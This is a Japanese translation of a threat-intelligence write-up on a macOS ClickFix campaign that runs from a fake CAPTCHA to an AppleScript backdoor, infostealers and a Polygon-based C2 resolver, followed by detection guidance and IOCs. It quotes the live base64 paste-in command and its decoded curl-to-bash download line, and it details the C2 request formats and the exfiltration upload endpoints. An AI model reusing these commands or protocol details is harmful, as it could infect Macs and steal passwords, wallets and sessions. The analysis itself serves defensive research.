Bazinga:偽CAPTCHAからPolygonベースのC2リゾルバーを使うmacOSバックドアまで | AI-native active defense

要約

  • bazinga.bizに繰り返しアクセスすると、広告ページ、あるいはCloudKeySentinelGateMeridianを名乗る偽の認証画面が表示されました。確認された認証ページはいずれも同一のClickFixコマンドを配信していました。
  • そのコマンドはupdate.shをダウンロードし、永続化用のLaunchAgentと難読化されたAppleScriptローダーをインストールしました。
  • このローダーは固定のC2ドメインを保持していません。読み取り専用のeth_callを通じてPolygonコントラクト0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0から現在のホスト名を読み取ります。9月14日の時点でこのコントラクトはjse8x92s[.]meを返しており、9月16日時点でも変わっていませんでした。
  • サーバーはバックドアと2種類のインフォスティーラーを配信しました。これらは合わせて、検証済みのmacOSパスワード、ブラウザセッション、Keychainデータ、暗号資産ウォレット、Telegramデータ、メモ、ローカルファイルを窃取します。
  • 同一のキャンペーントークンを15分間隔で90分間再取得したところ、bmoduleledgerのスタブは変化しませんでした。一方、smodulelmoduleはポーリングが成功するたびに異なるSHA-256を返しました。
  • 本日時点のC2ホスト名をブロックするだけでは不十分です。コントラクト、LaunchAgent、txid=のPOST本文、そしてフォールバック用IPアドレス62.60.226[.]50を追跡してください。スティーラーのファイルハッシュを恒久的な検知指標として扱わないでください。

BazingaからClickFixへ

私は『ビッグバン★セオリー』でこのアドレスが言及されているのを耳にし、bazinga.bizにアクセスしてみました。ブラウザはCloudKeyを名乗るページにリダイレクトされ、「私はロボットではありません」というチェックボックスが表示されました。これをクリックすると、Spotlightを開く、Terminalを起動する、ペーストする、Returnキーを押すという4つの手順が示されました。

その後のアクセスでは、広告ページやSentinelGateMeridianを名乗る認証画面が表示されました。Meridianではトラッキング風の参照番号34YS-455Dが示されていました。デザインは変化していましたが、チェックボックスをクリックした後、いずれの認証ページも同一の初期シェルコマンドを配信していました。

これらのパネルはいずれも、訪問者にTerminalへの貼り付けを促します。共通するコマンドは以下の通りです。

bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9icmVhZC5hcmtvbWV4ZGVzYXJyb2xsb3MuY29tL3VwZGF0ZS5zaCcgfCBiYXNo" | base64 -d)

デコードすると次の通りです。

curl -s 'hxxps://bread[.]arkomexdesarrollos[.]com/update.sh' | bash

投稿されたワンライナーのSHA-256は3f07a13c23cf59860166d5fc7a6131dcc4fd57997c47ebcf6a04932bf2070e60です。

Caronteが再構築した攻撃チェーン

私はこのコマンドをCaronteに投入しました。このたった一行から、Caronteはupdate.shをダウンロードし、AppleScriptの各層をデコードし、LaunchAgentを抽出し、Polygon上で稼働中のコマンドサーバーを解決し、バックドアが返すモジュールの後を追跡しました。

Recovered chain from the shell command to the Polygon resolver, backdoor and task modules

このチェーンは、バックドアがポーリングを開始するまでは直線的です。それ以降は、サーバーがタスクを選択し、対応するモジュールを返す仕組みになります。

コマンドから永続化まで

取得したスクリプトは17,813バイトです。AppleScriptインストーラーをデコードし、osascriptで実行します。このインストーラーは以下のLaunchAgentを書き込み、ロードします。

~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plist

RunAtLoadによりログイン時に起動し、KeepAliveにより終了しても再起動します。そのプログラム引数には12,408文字のBase64ローダーが含まれ、これをデコードすると別のAppleScriptになります。この段階に含まれる文字列のほとんどは、単純なテキスト検索を回避するため一文字ずつ組み立てられています。

Polygonがコマンドサーバーを解決する仕組み

このローダーは固定のコマンドサーバードメインを保持していません。代わりに、Polygonのスマートコントラクトに現在のホスト名を問い合わせます。

Network:          Polygon
Contract:         0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
Getter selector:  0x2686ecea
Setter selector:  0xd75d1ba6

読み取り専用のeth_callを、polygon.drpc.orgpolygon.publicnode.compolygon-mainnet.gateway.tatum.iotenderly.rpc.polygon.communityという4つの公開RPCサービス経由で送信します。これらはいずれも正規のプロバイダーであり、ここでは設定情報の照会先として悪用されています。

9月14日時点で、このコントラクトは以下にデコードされるエンコード済み文字列を返しました。

6a736538783932732e6d65  ->  jse8x92s[.]me

このコントラクトは一種のディレクトリです。スクリプトや窃取データは依然として通常のWebサーバーを経由しますが、攻撃者はローダーを差し替えることなくPolygon上に保存されたホスト名を変更できます。この種の手口をGuardio Labsは2023年にEtherHidingと名付けました。同一のPolygonコントラクトとgetterは、NetbyteSECPHKHave I Been Squattedによる過去のmacOS ClickFix調査にも登場しています。

バックドア

ホスト名を解決した後、ローダーは今回の捕捉分のキャンペーントークンを付けてbmoduleをリクエストします。

txid=962d87b1d1f7791ede110c2fd8061dc7&bmodule

このトークンは32桁の16進数からなる顧客識別子あるいはビルド識別子です。同一コントラクトを対象とした他の公開分析では、同じtxid=のスロットに8a4e280e1159833ede425a1306c2efe5など異なる値が使われていました。

サーバーは32,934バイトのAppleScript製バックドアを返しました。これはユーザー名とハードウェアUUIDを収集し、C2を再度解決した上で、偽のシステム環境設定パスワードプロンプトを表示します。

Please enter password for continue:

入力されたパスワードはdscl . authonlyで検証され、成功するまでダイアログが繰り返し表示されます。パスワードは~/.passphraseに保存され、キャンペーントークンは~/.txidに保存されます。バックドアはさらにtccutil reset Allを実行し、既存のプライバシー許可設定をクリアすることで、macOSが再度確認を求めるようにします。

登録が完了すると、60秒間隔のループが、ホスト識別子とキャンペーントークンを使ってタスクを要求します。ディスパッチャーは、攻撃者側が指定するタスクワードを、対応するモジュールの取得へとマッピングします。

タスク モジュール 今回の捕捉分での結果
runloader smodule 206,681バイトの認証情報・ウォレット・ファイル窃取ツール
runlight lmodule 自らをEssential macOS StealerNITRO2と名乗るスティーラー
replacer ledger シェル出力を/dev/nullへリダイレクトする34バイトのスクリプト
openshell shell 空のHTTPボディ

タスク名自体は安定していますが、smodulelmoduleの背後にあるバイト列は一定ではありません。このキットの他の捕捉例では、ledgerに対してLedger Walletを装ったフィッシング用ディスクイメージが配信され、openshellに対してはMach-O形式のシェルエージェントが配信された例もあります。今回の捕捉、および9月16日に行ったすべてのライブ再クエリでは、この2つのフェッチはそれぞれスタブと空のボディを返しました。

2種類のインフォスティーラー

smoduleは高度に難読化されたAppleScript製のインフォスティーラーで、以下を収集します。

  • ユーザー名、macOSのバージョン、ハードウェアUUID、パブリックIPアドレス
  • あらかじめ~/.passphraseに保存されていたパスワード
  • ブラウザのパスワード、Cookie、ログイン情報データベース
  • ~/Library/Keychains/login.keychain-db
  • 50種類以上の暗号資産ウォレットアプリケーションのデータ
  • Apple Notes、Telegram Desktopのデータ、選別されたデスクトップおよび書類フォルダ内のファイル

これらのデータは/tmp/ccd01d90608c2dcfce644c41502a7691789402688/配下に一時保存され、curlを使ってhxxps://jse8x92s[.]me/upload.phpにアップロードされます。これが失敗した場合はhxxp://62.60.226[.]50/upload.phpが使われます。

lmoduleは同じループから配信される2つ目のインフォスティーラーです。以下のビルド識別情報が含まれています。

Essential macOS Stealer
Build: NITRO2

これはブラウザプロファイル、Keychainのデータ、Telegramのデータ、デスクトップ型ウォレット、そして170種類以上のウォレット・パスワードマネージャー系ブラウザ拡張機能を狙います。収集したデータは/tmpに一時保存され、dittoでアーカイブが作成された後、同じ主要・フォールバック両方のアップロード先エンドポイントを使用します。

NetbyteSECはこのモジュール構成をAtomic macOS Stealer(AMOS)と関連づけていました。Caronteがsmodulelmoduleの両方をライブ分析した結果、同一のEssential macOS Stealer / NITRO2というバナーが確認されています。同一のPolygonキットに関する公開情報の追跡では、Phexiaという名称も使われています。Caronteはバックドアの挙動から、Phexiaとの関連性が高いと評価しています。

C2の通信方式

ローテーションするホスト名は単なるポインターに過ぎません。Polygonでの解決後の各段階はすべて、そのホスト上の/に対する通常のHTTP通信であり、ボディはapplication/x-www-form-urlencoded形式です。独自のバイナリフレーミングは存在せず、フォールバック経路にも追加の暗号化はありません。

方向 リクエスト レスポンス
ローダー → C2 POST / txid=<32桁の16進数>&bmodule AppleScript製バックドア。osascriptにパイプされる
バックドア → C2ポーリング 60秒ごとにPOST / uuid=<IOPlatformUUID>&username=<user>&txid=<txid>&task runloaderrunlightreplaceropenshellなどのタスクワード
タスク → モジュール POST / txid=<txid>&smoduleまたは&lmoduleまたは&ledger、あるいはuuid=&username=&txid=&shell スティーラーのAppleScript、スタブ、またはシェルヘルパー
スティーラー → C2 POST /upload.php マルチパートアーカイブ 今回の確認では空のHTTP 200
フォールバック hxxp://62.60.226[.]50上の同一の/upload.php 同じく空の200

txidの値はキャンペーンまたは顧客を識別するトークンであり、被害者を識別するものではありません。今回の捕捉分では962d87b1d1f7791ede110c2fd8061dc7が使われていました。同一コントラクトに関する公開レポートでは、8a4e280e1159833ede425a1306c2efe5c8a845e30830c48f753d01aa38927dc0という値が使われています。これは異なるパネル顧客数の下限を示すものであり、感染したMacの台数の下限を示すものではありません。通信上でのホストの識別は、ハードウェアUUIDとローカルのユーザー名の組み合わせによって行われます。これらの値は、認証なしのリクエストでは一覧表示されません。

このキットに関する過去の分析では、/ledger/index.php?txid=にあるLedgerフィッシングページと、ws://62.60.226[.]50:1337/ws/agentにあるWebSocket製シェルエージェントについても記録されています。2026年9月16日時点で、https://jse8x92s[.]me/ledger/index.phpは404を返し、フォールバック用IPアドレスのTCP/1337ポートは閉じていました。

このボットプロトコルは被害者一覧を公開していません。稼働中のホスト名および62.60.226[.]50に対するGET /は、空の200 text/plainボディを返しました。GET /upload.phpも空の200を返しました。公開されたインデックスは存在しないため、攻撃者側の認証情報がなければ、C2から被害者数を読み取ることはできません。

ライブ確認:スティーラーはローテーションするがバックドアは変わらない

2026年9月16日、私はjse8x92s[.]mePOST /に対して、txid=962d87b1d1f7791ede110c2fd8061dc7を使い、4つのモジュールセレクターを15分間隔で90分間にわたり再リクエストしました。Polygonのgetterは依然としてこのホスト名を返し続け、このキャンペーントークンは引き続きバックドアを受け取りました。

セレクター 7回のポーリング(12:23~13:53 UTC)を通じて
bmodule 同一の32,934バイトのAppleScript。SHA-256はa9383cea…で、今回の捕捉分と一致
ledger 同一の34バイトのスタブ。SHA-256はef94799c…で、今回の捕捉分と一致
smodule 成功したポーリングのたびに異なるSHA-256。ボディサイズは203~207KB。13:38 UTCではC2が空のHTTP 200を返し、その後13:53には205KBのボディを返した
lmodule ポーリングのたびに異なるSHA-256。ボディサイズは168~175KB。空になったことはなし

Polygon上のホスト名は変化の遅いポインターです。9月10日の書き込み以降動いておらず、この観測期間中も変化はありませんでした。それでもスティーラーの方は変化していました。コントラクトの更新もbmoduleの変化もない中で、6種類の異なる非空のsmoduleのボディと、7種類の異なるlmoduleのボディが届いたのです。

これはC2の移転ではなく、パッキング(難読化・再パッケージ化)の結果です。ライブで取得したボディを静的解析したところ、同一のNITRO2バナー、同一のtxid、同一のアップロード先エンドポイントが確認されました。すべての文字列はcharacter idの連結によって再構築されているため、ファミリー自体は変わらないままSHA-256だけが変化するのです。最初のCaronte捕捉分から得たsmoduleのハッシュは、その翌日の最初のライブポーリングの時点で、すでに別の検体になっていました。追うべきは昨日のスティーラーのSHA-256ではなく、txid=のPOSTです。

Polygon上のC2履歴

Polygonの公開トランザクション履歴からは、リゾルバーコントラクトに過去書き込まれたホスト名を確認できます。今回の捕捉時期前後の値は以下の通りです。

トランザクション日時(UTC) デコード後の値
2026-07-21 06:22:06 67sixcebeh[.]surf
2026-07-31 16:28:45 stv4ec5[.]shop
2026-08-12 11:42:16 vg5sgxv[.]lol
2026-08-31 17:11:34 machine628[.]baby
2026-09-05 23:06:12 nsi8kw1r[.]lol
2026-09-07 09:50:46 d9mjs[.]sbs
2026-09-10 19:16:34 jse8x92s[.]me

9月10日のトランザクションは、入れ子構造になったredeemDelegations呼び出しです。ホスト名は内側のセッター呼び出しデータの中に含まれています。送信元は0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3というウォレットで、setServerURL(0xd75d1ba6)を発行しています。9月14日に行ったコントラクトの読み取りでも、同じjse8x92s[.]meという値が返されました。

この表は、その後のローテーションの一部を抜粋したものであり、オンチェーン履歴の全体ではありません。

2026年9月16日に実施したDNSおよびHTTPの確認により、これらのドメイン名がいかに使い捨てであるかが明らかになりました。5月以降にコントラクトへ書き込まれた20個の稼働ホスト名のうち、17個はすでに名前解決できませんでした。DNSが残っていたのは3個のみです。

ホスト 9月16日時点の名前解決 HTTP
jse8x92s[.]me Cloudflareの188.114.96[.]7 / 188.114.97[.]7 /および/upload.phpで空の200。TLS証明書はGoogle Trust Servicesにより9月9日発行、オンチェーン書き込みの1日前
smdh7[.]surf 同一のCloudflareエニーキャストアドレス Cloudflareの403。証明書は依然有効だが、オリジン側はもはやパネルを提供していない
bduwih8[.]pro Cloudflareの104.21.61[.]3 Cloudflareの403

恒久的に残るノードはドメインではありません。62.60.226[.]50は依然としてTCP/80で応答し、Apache/2.4.58 (Ubuntu)を稼働させています。WHOIS情報によれば、このアドレスは62.60.226.0/24の範囲に属し、ネットネームはFEMOITSOLUTIONS-DE-RENTNET、AS214351 FEMO IT SOLUTIONS LIMITEDに割り当てられ、フランクフルトにジオロケーションされています。TCP/443とTCP/1337は閉じていました。このファミリーのスティーラーは、現在のCloudflareホスト名へのアップロードが失敗した場合にこのIPアドレスへ窃取データをPOSTするため、jse8x92s[.]meを潰しても、投下先自体は潰れません。

検知と対応

価値の高い検知は、この攻撃チェーンにおける複数のアクションを組み合わせることで実現できます。

探すべきもの 重要な理由
com.に16桁のランダムな小文字が続く名前のユーザーLaunchAgentで、bashosascriptを呼び出す長いBase64引数を持つもの 永続化用ローダーの発見につながる
curlの出力をbashshosascriptにパイプする動作 ダウンロードと実行の遷移箇所の発見につながる
シェルまたはAppleScriptプロセスから0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0、またはセレクター0x2686eceaへのeth_call Polygonリゾルバーの発見につながる
新たに解決されたホスト、あるいは62.60.226[.]50に対するtxid=bmodule / smodule / lmodule / task / upload.phpのHTTP POST スティーラーのバイト列が毎回変化しても、ライブC2の発見につながる
同一のtxidにおける、安定したbmoduleのハッシュとローテーションするsmodule / lmoduleのハッシュ 固定されたバックドアと消耗品的なスティーラーを区別できる
繰り返されるdscl . authonly、パスワードダイアログ、および~/.passphraseの生成 パスワード窃取のフローの発見につながる
ブラウザとKeychainの読み取りに続く、/tmp配下でのditto実行とcurlによるアップロード データ収集と窃取(エクスフィルトレーション)の発見につながる

このバックドアが書き込む2つのドットファイルを検出するosqueryクエリです。

SELECT path FROM file
WHERE path LIKE '/Users/%/.passphrase'
   OR path LIKE '/Users/%/.txid';

これらの挙動がMac上で確認された場合は、該当端末を隔離し、LaunchAgentをアンロードして削除し、ブラウザセッションを無効化した上で、クリーンな端末から認証情報をローテーションしてください。ウォレットアプリケーションのデータを確認し、流出した可能性のある資金は新規生成した鍵へ移動させてください。現在のC2とアップロード先エンドポイントをブロックした上で、ホスト名は変化しうることを踏まえ、コントラクトアドレスおよび攻撃者のウォレットについても追跡してください。

侵害指標(IOC)

指標 役割
bazinga[.]biz 確認された侵入経路のドメイン
bread[.]arkomexdesarrollos[.]com/update.sh 初期ペイロードのURL
jse8x92s[.]me 9月14日および9月16日時点のC2ホスト名
hxxps://jse8x92s[.]me/upload.php 主要アップロード先エンドポイント
hxxp://62.60.226[.]50/upload.php フォールバック用アップロード先エンドポイント
62.60.226[.]50 オリジン/フォールバックホスト、AS214351
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 Polygonリゾルバーコントラクト
0x2686ecea Getterセレクター
0xd75d1ba6 Setterセレクター(setServerURL)
0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3 ホスト名を書き込む攻撃者側ウォレット
polygon.drpc.org 悪用された公開Polygon RPC
polygon.publicnode.com 悪用された公開Polygon RPC
polygon-mainnet.gateway.tatum.io 悪用された公開Polygon RPC
tenderly.rpc.polygon.community 悪用された公開Polygon RPC
962d87b1d1f7791ede110c2fd8061dc7 キャンペーントークン
~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plist 永続化用パス
~/.passphrase / ~/.txid パスワードおよびキャンペーントークンのファイル

この4つのRPCホストはいずれも正規のサービスです。検知すべきシグナルは、ブラウザ以外のプロセスがこのコントラクトに対してeth_callを呼び出している点にあります。

ファイルハッシュ

機能上の役割 SHA-256
投稿されたClickFixコマンド 3f07a13c23cf59860166d5fc7a6131dcc4fd57997c47ebcf6a04932bf2070e60
update.sh 79126547a08a785eb408f9a89660b7954ffc8ec124d8c6173851cf6609b35b28
永続化用インストーラー 31dc215220db6e5564730c1c909865ae1301e44c7ecc33973901401b0793144d
LaunchAgentローダー c236a4db85d709e89184752f65102349f6a272befd57741cf35b9236028daf08
別途抽出したリゾルバー e5634ec22a0a2db056eff1999b2d31511f8eb01c37ed57dd10f1b70f476e96e0
バックドアモジュール(bmodule)、9月16日時点でも配信継続中 a9383cea53d6c6c3e4a764d23fbd0c1ccf7c010f20624860fed85faf8de71136
9月14日の捕捉分によるsmodule b0536db10a710b8627ac701d2c28d8717412a51c4093145031d8c8217c014496
9月14日の捕捉分によるlmodule ed943056669a5e2cd6f92ff47f1855ca10d66ec6e50ea22076c7b5c7aaacb170
ledgerスタブ、9月16日時点でも配信継続中 ef94799c12f00235920699106e27d9a45595549845724f3c9dede02aa5b96a06

ライブ観測期間中のsmoduleおよびlmoduleのハッシュ値は割愛しています。15分ごとのポーリングが成功するたびに、異なるダイジェスト値が得られたためです。これらの値はローテーションが行われている証拠ではあっても、明日以降も一致し続ける指標ではありません。

結論

目新しいドメインから偽の認証ページへと誘導されましたが、その裏にあるコマンドが開いたのは、完全な感染チェーンでした。ログイン時の永続化、変更可能なC2ディレクトリとしてのPolygonの利用、検証済みmacOSパスワードの窃取、そして2種類のインフォスティーラーを配信するタスクループです。

このディレクトリに登録されたホスト名は今後も変化していくと見られます。9月16日の90分間の観測ではその動きはありませんでしたが、スティーラーの方はポーリングのたびに変化し続けた一方、バックドアとledgerスタブは変わりませんでした。コントラクト、LaunchAgent、そしてtxid=のPOST本文を追跡してください。本日時点のsmoduleのハッシュは、すでに古くなっている可能性があります。

参考文献

翻訳元: https://beelzebub.ai/blog/bazinga-macos-backdoor-polygon-c2/

本記事は beelzebub.ai の記事を翻訳・要約したものです。